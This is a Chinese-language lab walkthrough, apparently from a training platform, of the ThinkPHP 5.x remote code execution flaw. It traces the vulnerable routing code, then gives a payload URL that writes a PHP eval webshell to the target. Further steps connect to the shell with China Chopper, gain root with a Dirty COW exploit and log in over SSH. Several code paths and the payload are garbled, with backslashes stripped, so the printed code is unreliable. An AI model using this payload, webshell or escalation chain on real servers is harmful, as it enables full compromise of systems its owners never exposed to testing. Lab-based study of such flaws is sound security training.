跟著小編一起動手操作吧!

ThinkPHP5遠程代碼執行漏洞

實驗內容

ThinkPHP是一個免費開源的快速、簡單、面向對象的輕量級PHP開發框架,是為了敏捷Web應用開發和簡化企業應用開發而誕生。

ThinkPHP 5.0版本是一個顛覆和重構版本,採用全新的架構思想,引入了更多的PHP新特性,優化了核心,減少了依賴,實現了真正的惰性載入,支持composer,並針對API開發做了大量的優化。

ThinkPHP官方2018年12月9日發布修復了一個嚴重的遠程代碼執行漏洞。該更新主要涉及一個安全更新,由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。

受影響的版本包括5.0和5.1版本,推薦儘快更新到最新版本。

原理

這個漏洞是由於框架對控制器名沒有進行足夠的檢測而導致在沒有開啟強制路由的情況下可能的getshell。因此漏洞的觸發在路由調度時。

Thinkphp中是由函數pathinfo()來獲取路由的,因此我們可以搜索關鍵詞pathinfo,來定位函數。

該路由函數中$this->config[var_pathinfo]是配置文件的默認值,其初始化代碼如下,值為』s』:

當請求報文包含$_GET[s],就取其值作為pathinfo,並返回pathinfo給調用函數。

分析發現pathinfo函數被library/think/Request.php中的path函數調用:

顯然,這裡$this->path源自pathinfo,因此可以被攻擊者控制。繼續分析該變數的傳遞,在library/think/App.php中被引用:

這裡是進行路由檢測,攻擊者可控的$path被傳遞給了如下的check函數:

thinkphp/library/think/Route.php

分析代碼可知,如果開啟了強制路由則會拋出異常,Check函數最後實例化一個UrlDispatch對象,將$url傳遞給了構造函數。繼續分析UrlDispatch的父類也就是Dispatch類的構造函數:

/thinkphp/library/think/routeDispatch.php

$dispatch變數可控並賦值給了$this->dispatch,經過多次函數調用返回,最後如下的Url類的init 函數將會被調用來處理$this->dispatch

/thinkphp/library/think/route/dispatch/Url.php

這裡調用parseUrl對$this->dispatch進行解析,這是該漏洞的核心點之一:

這裡調用parseUrlPath函數對$url進行解析,繼續分析該函數:

/thinkphp/library/think/route/Rule.php

顯然,url的格式為「模塊/控制器/操作」,url的格式為「模塊/控制器/操作」,url分割形成一個數組存到$path變數中並返回到調用者。繼續分析封裝路由的代碼:

library/think/route/dispatch/Url.php

路由封裝返回到library/think/route/dispatch/Url.php

$result就是封裝好的路由數組,傳遞給了Module的構造函數。

由於Module也是繼承自Dispatch類,直接看Dispatch的構造函數:

$result賦值給了$this->dispatch。然後調用Module類的init函數:

hinkphplibrary hink
outedispatchModule.php

public function init()
{
parent::init();
?
$result = $this->dispatch;
?
if (is_string($result)) {
$result = explode(/, $result);
}
?
if ($this->rule->getConfig(app_multi_module)) {
// 多模塊部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig(default_module)));
$bind = $this->rule->getRouter()->getBind();
$available = false;
?
if ($bind && preg_match(/^[a-z]/is, $bind)) {
// 綁定模塊
list($bindModule) = explode(/, $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig(deny_module_list)) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig(empty_module)) {
$module = $this->rule->getConfig(empty_module);
$available = true;
}
?
// 模塊初始化
if ($module && $available) {
// 初始化模塊
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, module not exists: . $module);
}
}
?
// 是否自動轉換控制器和操作名
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig(url_convert);
// 獲取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig(default_controller));
$this->controller = $convert ? strtolower($controller) : $controller;
?
// 獲取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig(default_action));
?
// 設置當前請求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
?
return $this;

這裡存在第一個對的判斷,需要讓available等於true,這就需要is_dir(module)`成立。官方demo給出的模塊是index,而實際開發程序不一定存在該模塊名,所以構造payload時這裡是一個注意點。

滿足這個判斷條件後,繼續分析後續的控制流會進入如下module的exec函數:

分析發現,$this->controller是攻擊者可控的,並傳遞給了如下的controller函數,繼續分析該函數:

hinkphplibrary hinkApp.php

在這裡,name是攻擊者可控的,並傳遞給了如下的parseModuleAndClass函數:

分析發現,當$name存在反斜杠時就直接將$name賦值給$class並返回。顯然,攻擊者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。

實驗步驟

步驟一:訪問目標,利用Payload寫入文件,並驗證文件是否寫入成功

首先打開目標URL,發現這是Thinkphp5.1版本的,因此利用針對5.1版本的Payload進行利用。

Payload:

index.php?s=index/ hink emplatedriverfile/write&cacheFile=【寫入文件名】&content=【寫入內容】

一句話木馬:

<?php @eval($_POST[X]);?>

我們只要修改payload,如修改:

index.php?s=index/ hink emplatedriverfile/write&cacheFile=myshell.php&content=<?php @eval($_POST[X]);?>

在目標URL後面直接添加上面的payload即刻,若返回空白並訪問shell.php返回空白,則說明寫入成功。

需要注意的是:寫入的文件在網站/public目錄下,因此我們要想訪問shell.php只要在原本的目標URL後添加shell.php。

步驟二:打開中國菜刀,連接一句話木馬。

打開中國菜刀,右鍵點擊添加,輸入地址、連接的密碼以及腳本語言後點擊添加。

添加成功後,點擊右鍵文件管理,即刻查看網站目錄下的文件。

接著點擊thinkphp5的目錄下查看key1.txt文件。

步驟三:進行提權操作

從web目錄結構可以看出這是Linux系統。因此可以嘗試臟牛提權。

返回中國菜刀主頁,選擇目標並右鍵,點擊虛擬終端。

通過命令id查看當前用戶,可以看到當前用戶是www,許可權是不夠的。因此再次右鍵文件管理,上傳dirty_exp文件至thinkphp5/public/目錄下,上傳成功後我們可以看到它的屬性是644,www是不夠許可權運行的,所以右鍵打開終端,輸入以下命令:

chmod 777 dirty_exp

這個時候www用戶已經可以執行這個文件了,命令如下:

./dirty_exp ichunqiu //ichunqiu是設置的密碼

步驟四:確認提權成功

我們可以看到菜刀執行了./dirty_exp ichunqiu這條命令之後,返回操作超時。因此為了保證成功提權,我們可以查看/etc/passwd來確認root是否已經被改名。

步驟五:ssh訪問目標伺服器

確認過提權成功後,我們打開putty這款工具,在HOST NAME那寫上IP地址後點擊Open,在彈出的窗口中填入root賬號(默認修改為firefart)和密碼(自定義)即可登錄目標伺服器。

步驟六:訪問root目錄下key2.txt文件

現在我們終於有了root的許可權,只要切換到root目錄下,cat key2.txt就完成了本次的實驗。

總結

Linux提權方式

  • 利用Linux內核漏洞提權
  • 利用低許可權用戶目錄下可被Root許可權用戶調用的腳本提權
  • 利用環境變數劫持高許可權程序提權

推薦閱讀:

相关文章